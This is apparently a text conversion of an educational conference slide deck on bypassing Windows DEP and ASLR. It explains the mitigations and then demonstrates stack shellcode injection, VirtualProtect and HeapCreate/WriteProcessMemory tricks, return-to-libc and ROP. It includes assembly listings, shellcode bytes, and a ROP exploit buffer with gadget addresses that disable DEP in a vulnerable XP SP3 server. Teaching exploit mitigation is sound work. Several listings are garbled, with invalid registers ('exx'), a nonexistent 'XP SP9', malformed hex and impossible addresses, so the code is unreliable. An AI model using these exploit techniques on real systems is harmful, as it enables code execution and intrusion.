DEFEATING DEP AND ASLR IN WINDOWS
What is DEP?

- **Data Execution Prevention (DEP)** is a set of hardware and software technologies.
- It performs additional checks on memory to help prevent malicious code from running on a system.
Hardware-enforced DEP causes an attempt to transfer control to an instruction in a memory page marked as “No Execute” to generate an access fault.

- Relies on processor hardware to mark memory with an attribute that indicates that code should not be executed from that memory region.
- DEP functions on a per-virtual memory page basis, usually changing a bit in the page table entry (PTE) to mark the memory page.
- The actual hardware implementation of DEP and marking of the virtual memory page varies by processor architecture:
  - The no-execute page-protection (NX) processor feature as defined by AMD.
  - The Execute Disable Bit (XD) feature as defined by Intel.
- To use these processor features, the processor must be running in Physical Address Extension (PAE) mode.
- Windows will automatically enable PAE mode to support DEP.
Execute Disable Bit and Enterprise Security

The challenge

Malicious buffer overflow attacks pose a significant security threat to businesses, increasing IT resource demands, and in some cases destroying digital assets. In a typical attack, a malicious worm creates a flood of code that overwhelms the processor, allowing the worm to propagate itself to the network, and to other computers. These attacks cost businesses precious productivity time, which can equal significant financial loss.

The solution

Intel's Execute Disable Bit\(^4\) functionality can help prevent certain classes of malicious buffer overflow attacks when combined with a supporting operating system.

Execute Disable Bit allows the processor to classify areas in memory by where application code can execute and where it cannot. When a malicious worm attempts to insert code in the buffer, the processor disables code execution, preventing damage and worm propagation.

Replacing older computers with Execute Disable Bit-enabled systems can halt worm attacks, reducing the need for virus-related repairs. In addition, Execute Disable Bit may eliminate the need for software patches aimed at buffer overflow attacks. By combining Execute Disable Bit with anti-virus, firewall, spyware removal, e-mail filtering software, and other network security measures, IT managers can free IT resources for other initiatives.
Security Ahoy! Flying the NX Flag on Windows and AMD64 To Stop Attacks

Are you worried about software security? A little-known feature of the AMD64 architecture, called the NX flag, can help you write code that's better protected against attacks like buffer overflows and executable injection. Alan Zeichick explains how NX works.

Alan Zeichick
3/20/2007

As the NX processor flag, found in the AMD Opteron™ and Athlon™ 64 processors, is a key feature of Microsoft's Data Execution Protection (DEP) infrastructure. AMD also refers to NX as Enhanced Virus Protection (EVP). But no matter what you call it, NX is a technology that you can leverage today with Windows and Linux.
Software-enforced DEP runs on any processor that can run Windows XP SP2

- By default, software-enforced DEP helps protect only limited system binaries, regardless of the hardware-enforced DEP capabilities of the processor
- It protects only user-mode processes.
- It must be supported by the operating system.
- Software-enforced DEP does not protect from execution of code in data pages but instead from another type of attack which is called Security Exception Handling (SEH) overwrite.
**DEP SETTINGS**

- **/NOEXECUTE=OptIn**  Turn on DEP for necessary Windows programs and services only
- **/NOEXECUTE=OptOut** Turn on DEP for all programs and services except for those that I select
- **/NOEXECUTE=AlwaysOn**  permanently enables DEP
- **/NOEXECUTE=AlwaysOff**  permanently disables DEP
- The default setting on Windows XP SP2 is OptIn, while the default setting on Windows 2003 Server SP1 is OptOut
ASLR

- **The PAX project** first coined the term "ASLR". Implementations of ASLR in July, 2001.
- Exploits attacks rely on programmer skills to identify where specific processes or system functions live in memory.
- In order for an attacker to leverage a function, he must first be able to tell the code where to find the function.
- Before ASLR implementation, memory locations were easily discovered by attackers and malware code.
- ASLR (Address Space Layout Randomization) involves randomly positioning memory areas, usually the base address of the binary file and position of libraries, heap and stack.
- Without ASLR, a library will always going to be loaded at a predictable address and can be leveraged by an exploit.
- Bypassing ASLR means targeting non-ASLR libraries to build a reliable exploit.
ASLR DEFEATED

IT Security & Network Security News

Microsoft Security Tool Mitigates Adobe Zero-Day Vulnerability

By: Brian Prince
2010-09-11
Adobe Rating: ★★★★★ / 5

There are 3 user comments on this IT Security & Network Security News & Reviews story.

Microsoft and Adobe Systems say Microsoft’s Enhanced Mitigation Experience Toolkit 2.0 can help protect users against attackers targeting a bug in Adobe Reader and Acrobat.

Adobe Reader and Acrobat users on Windows machines now have a potential shield available to protect them from attackers targeting a zero-day vulnerability.

Microsoft and Adobe Systems announced Sept. 10 that the latest edition of Microsoft’s Enhanced Mitigation Experience Toolkit can be used to block attacks. The announcement followed reports that an exploit currently in the wild can bypass Microsoft’s data execution prevention feature using a technique known as ROP (return-oriented programming).

“Normally Address Space Layout Randomization (ASLR) would help prevent successful exploitation,” said a post on Microsoft’s Security Research & Defense blog. “However, this product ships with a DLL (icuvcv36.dll) that doesn’t have ASLR turned on. Without ASLR, this DLL is always going to be loaded at a predictable address and can be leveraged by an exploit.”

EMET 2.0 blocks the exploit by deploying mandatory ASLR as well as export address table access filtering, Microsoft said.
DEP IN ACTION (1)

- **The routine** `inject_shellcode_in_stack` **push the payload into the stack**

- **Once the shellcode has been injected the code jumps to the execute routine**

- **The CALL ESP instruction fetch the beginning of the shellcode**

```assembly
[section .text]
.start:
xor ecx,ecx          ; Set counter to zero
mov exx,0x46          ; Shellcode size
mov exx,shellcode     ; Exx point to start of shellcode

.inject_shellcode_in_stack:
 cmp exx,0x0           ; Is the shellcode injected in the stack?
 je .execute          ; If yes execute it
 push dword [exx+ecx]  ; Push next dword
 sub exx,4             ; Decrement counter
 jmp .inject_shellcode_in_stack ; Loop until exx = 0

.execute:
 call esp             ; Execute shellcode from stack

[section .data]
shellcode db 0x90,0x90,0x90,0x90,0x0fc,0x89,0x89,0x00,0x00,0x00,0x80,0x80,0x89,0x0a5,
```
• Since the page 0x0022E000 size 00002000 has only Read and Write attributes an access violation is triggered at the address 0x0022FEB4

• DEP has successfully stop shellcode execution from the stack
When hardware DEP is enabled, we are not able to jump to our shellcode on the stack, because this one will not be executed. An access violation will terminate the process. (slide 10)

Different techniques are available to accomplish this task.

DEP can be disabled if the later is running in OptIn or OptOut mode.

Another approach is to call API functions that are able to change the memory attributes (PAGE_READ_EXECUTE) from where the payload lives.

Some of the techniques are introduced in the next slides.
**VIRTUALALLOC TECHNIQUE** (2)

- **We can create a new memory region with executable attributes**
- **We then copy our shellcode to this memory region (WriteProcessMemory or memcpy API’s)**
- **This technique needs at least the use of two different API’s**
• Comparable to `VIRTUALALLOC()`
This allows to disable the DEP policy for the current process

It will work for Vista SP1, XP SP3, Server 2008, and only when DEP Policy is set to OptIn or OptOut modes.
VIRTUAL PROTECT TECHNIQUE

- This function will change the access protection level of a given memory page.
- It will allow to mark the location where our shellcode lives as PAGE_READ_EXECUTE.
This technique will permit us to copy the shellcode to a memory region with **EXECUTE** attributes.

Later we can jump to it.

The target location must be **WRITABLE** and **EXECUTABLE**.
# Operating System vs API

<table>
<thead>
<tr>
<th>API</th>
<th>XP SP2</th>
<th>XP SP3</th>
<th>VISTA SP0</th>
<th>VISTA SP1</th>
<th>WINDOWS 7</th>
<th>WINDOWS 2003 SP1</th>
<th>WINDOWS 2008</th>
</tr>
</thead>
<tbody>
<tr>
<td>VirtualAlloc</td>
<td>Yes</td>
<td>Yes</td>
<td>Yes</td>
<td>Yes</td>
<td>Yes</td>
<td>Yes</td>
<td>Yes</td>
</tr>
<tr>
<td>HeapCreate</td>
<td>Yes</td>
<td>Yes</td>
<td>Yes</td>
<td>Yes</td>
<td>Yes</td>
<td>Yes</td>
<td>Yes</td>
</tr>
<tr>
<td>SetProcessDEPPolicy</td>
<td>No (1)</td>
<td>Yes</td>
<td>No (1)</td>
<td>Yes</td>
<td>No (2)</td>
<td>No (1)</td>
<td>Yes</td>
</tr>
<tr>
<td>NtSetInformationProcess</td>
<td>Yes</td>
<td>Yes</td>
<td>No (2)</td>
<td>No (2)</td>
<td>Yes</td>
<td>No (2)</td>
<td>Yes</td>
</tr>
<tr>
<td>VirtualProtect</td>
<td>Yes</td>
<td>Yes</td>
<td>Yes</td>
<td>Yes</td>
<td>Yes</td>
<td>Yes</td>
<td>Yes</td>
</tr>
<tr>
<td>WriteProcessMemory</td>
<td>Yes</td>
<td>Yes</td>
<td>Yes</td>
<td>Yes</td>
<td>Yes</td>
<td>Yes</td>
<td>Yes</td>
</tr>
</tbody>
</table>

(1) = doesn’t exist  
(2) = will fail because of default DEP Policy settings

Thanks to [Corelan.be](http://www.corelan.be) for this awesome information.
The present code will first find `KERNEL32.DLL` base image address in a generic way.

Then it will find the offset of `VirtualProtect` API and add it to the base address.

Later the code will find the current bottom of stack and calculate the size of it.

`VirtualProtect` API is called to change the current memory stack attributes to `PAGE_EXECUTE_READWRITE`.

A shellcode will be injected in the stack and get executed after the `RETN 10` instruction from `VirtualProtect` API.
A new heap of 296 bytes is created with PAGE_READ_EXECUTE attributes.

The heap base address returned in EAX is then passed to WriteProcessMemory.

The final RET instruction execute the shellcode from the new heap.

```assembly
section .text
global WinMain@16

WinMain@16:

push 0x128 ; dwMaximumSize
push 0x00 ; dwInitialSize
push 0x00004000 ; pIoOptions

mov eax,0x7c812056 ; HeapCreate harcoded XP SP9

call eax
push eax

mov esi,shellcode ; esi points to shellcode
mov edi,written ; edi points to be written
push edi ; PUSH lpNumberOfBytesWritten
push 0x128 ; PUSH Size
push esi ; PUSH lpBuffer
push eax ; PUSH lpBaseAddress
push 0xffffffff ; PUSH hProcess

mov eax,0x7c802213 ; WriteProcessMemory harcoded XP SP9
call eax
ret
```

| shellcode | db 0x50, 0xd9, 0xb4, 0x57, 0x98, 0x74, 0x24, 0xf4, 0x31, 0x82 |
| written   | db 0x00 |
The shellcode is copied to a kernel32.dll memory address which the memory attributes are Read and Execute.

The example is using a memory hardcoded address in Windows XP SP3 which does not contain any relevant code.

It is important to choose the correct memory address, otherwise the system could crash after copying the shellcode.

```
; Tested in Windows XP SP3 ENGLISH & FRENCH DEP ACTIVATED.
; BOOL WINAPI WriteProcessMemory;
; __in HANDLE hProcess,
; __in LPOVOID lpBaseAddress,
; __in LPOVOID lpBuffer,
; __in DWORD dwSize,
; __out SIZE_T* lpNumberOfBytesWritten

mov esi,shellcode ; esi points to shellcode
mov edi,written ; edi points to be written
push edi ; PUSH lpNumberOfBytesWritten
push Ox120 ; PUSH Size
push esi ; PUSH lpBuffer
push Ox7C0041E8 ; PUSH lpBaseAddress
push Ox4FFFFFFF ; PUSH hProcess

mov eax,0x30802213 ; WriteProcessMemory Windows XP SP3
call eax

mov eax,0x3080841E8 ; Windows XP SP3 address belongs to a P E memory page.
; It does not contain any relevant code
```

```
[section .data]
shellcode db 0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90
written db 0x90
```
RETURN TO LIBC TECHNIQUE

- To take advantage of **RETURN TO LIBC** technique we need to overwrite the return address with a function address for i.e. **WinExec** or **System**

- We must provide the correct arguments for the function in order to execute it properly

- We do not execute code in the stack, but in the memory page where the native function lives

- Some of the benefits are:
  - **We can executed a code with small buffer**
  - **We do not need to inject code**
Return oriented programming (ROP)

- As a replacement for returning to functions we return to instructions called “gadgets” in executable memory pages.
- It is possible to return in the middle of instructions to create new instructions.
- The `RET` instruction will fetch memory addresses from the stack in order to prepare it to successfully call an API function.
- Python libraries like `DEPLib` from Pablo Solé or `pvefindaddr` from Corelan.be permit us to quickly find ROP gadgets from non-ASLR libraries.
We are going to exploit a server application in Windows XP SP3 up to date, running DEP in mode /NOEXECUTE=OptOut.

The goal is to create the exploit using non-ALSR modules in order to bypass randomization.

The application was compiled with Visual Studio 10 with NX Compat and DYNAMICBASE flags.
PRACTICAL ROP EXAMPLE IN WINDOWS XP SP3 (2)

- When we try to exploit the application with a simple `<Evil Buffer> + <CALL ESP> <NOP> <SHELLCODE>` technique it throws an `STATUS_ACCESS_VIOLATION (0xC0000005)`

- DEP is successfully preventing code execution from the actual thread stack
To get around this protection we will implement the ROP technique.

The first step is to know which modules are loaded in memory when the vulnerable application runs. The objective is to use non-relocatable modules, so we can bypass memory randomization.

We are going to use Python script `!pvefindaddr` from corelan.be.

For this particular exploit development we have 8 non-ASLR modules to search for ROP gadgets. This is pretty enough to create our exploit.
PRACTICAL ROP EXAMPLE IN WINDOWS XP SP3 (4)

- The next step is to create our ROP gadgets
- The "!pvefindaddr rop" command will create a list of all available gadgets from the non-ASLR modules
• **We can now start to use our ROP gadgets to deactivate Data Protection Execution**

• **We are going to use the **SetProcessDEPPolicy** technique with the flag 0, which means disable DEP for the current process**

• **After searching the correct ROP gadgets from the previous list our exploit is finally created**

• **Let’s trace it in our debugger**

```
print "\xf3\x25\x9e\x71". "\xff\xff\xff\xff" . "\x6f\x10\x81\x7c" . "\x28\x25\x9e\x71" . "\xa4\x22\x86\x7c" . "\xff\x13\x9f\x71" . "\xe8\x7e\x9f\x71" . "\x07\x35\x9f\x71" . "\xe8\x7e\x9f\x71" . "\x02\x1d\xe5\x77" . "\x31\xc9\x51\x68\x63\x61\x8c\x63\x54\x80\x0d\x25\x36\x7c\xff\x0d\x68\xff\xff\xff\xff\xff\x09\x04\x24\xb0\x12\xcb\x81\x7c\xff\xd0\x90" . "\x90" . "\x145" . "\xd5\x5e\xbe\xe77"
```

```
0x77EE7ED5 : # XCHG EAX,ESP # RETN [Module : msvcrt.dll]
0x719E25F3 : # POP EBX # RETN [Module : W32HELP.dll]

0x7C811D6F : # INC EBX # RETN [Module : KERNEL32.dll]
0x719E2528 : # POP EBP # RETN [Module : W32HELP.dll]

0x719F15C7 : # POP EDI # RETN [Module : W32_32.dll]
719F7EBF C3 RETN [Module : W32_32.dll]

0x719F13FF : # POP ESI # RETN [Module : W32_32.dll]
719F7EBF C3 RETN [Module : W32_32.dll]

0x77E5D1C2 : # PUSHAD # RETN
```
When the buffer overflow occurs we need first to pivot our stack to reach our controlled buffer. The XCHG EAX,ESP instruction permits us to point ESP to 0x0013fb68 address which is the beginning of our controlled data in the stack.
The next instruction will POP the value 0xffffffff into the EBX register, which will be later incremented to obtain a null dword.
The EBX register contains the flag that will be passed as parameter to the SetProcessDEPPolicy API.
Practical ROP Example in Windows XP SP3 (9)

- We put the address of `SetProcessDEPPolicy` into EBP register.
The two next steps will be to POP into ESI and EDI a pointer to a RET instruction, this will simulate a NOP sled.
The last step is to execute a `PUSHAD` instruction. This will prepare our stack to successfully call `SetProcessDEPPolicy` and automatically set the return pointer from `SetProcessDEPPolicy` to our shellcode.
Our stack is now ready to call `SetProcessDEPPolicy` and deactivate DEP.
Practical ROP example in Windows XP SP3 (13)

- We place a breakpoint at the RETN 4 instruction which is the end of SetProcessDEPPolicy
Now we are able to reach our shellcode and it will successfully get executed without any access violation fault.
Finally our shellcode is executed without issues. Let's try the exploit without a debugger.
• **WE CAN EFFECTIVELY EXECUTE OUR SHELLCODE BYPASSING DEP AND ASLR PROTECTIONS**
CONCLUSIONS

• DEP and ASLR are designed to increase an attacker’s exploit development costs
• ASLR is easy bypassed if we can count on memory modules which do not have this feature turn on
• The return oriented programming can be used to with no trouble get around DEP protections
• This techniques can be also used in others Windows flavors such as Windows Vista or Windows 7
REFERENCES

HTTP://WWW.UNINFORMED.ORG/?V=2&A=4&T=TXT
HTTP://SUPPORT.MICROSOFT.COM/KB/875352
HTTP://TECHNET.MICROSOFT.COM/EN-US/LIBRARY/BB457155.ASPX
HTTP://TECHNET.MICROSOFT.COM/EN-US/LIBRARY/CC738483%28WS.10%29.ASPX
HTTP://MSDN.MICROSOFT.COM/EN-US/LIBRARY/MS633548%28V=VS.85%29.ASPX
HTTP://OPC0DE.TUXFAMILY.ORG/?P=430
HTTP://WWW.CS.BHAM.AC.UK/~COVAM/BLOG/BINARY/
HTTP://WWW.CORELAN.BE

WINDOWS INTERNALS FOURTH EDITION

HTTPS://WWW.BLACKHAT.COM/PRESENTATIONS/BH-USA-08/Shacham/BH_US_08_Shacham_Return_Oriented_Programming.pdf
YOUR QUESTIONS ARE ALWAYS WELCOME!

BRIAN.MARIANI@HTBRIDGE.CH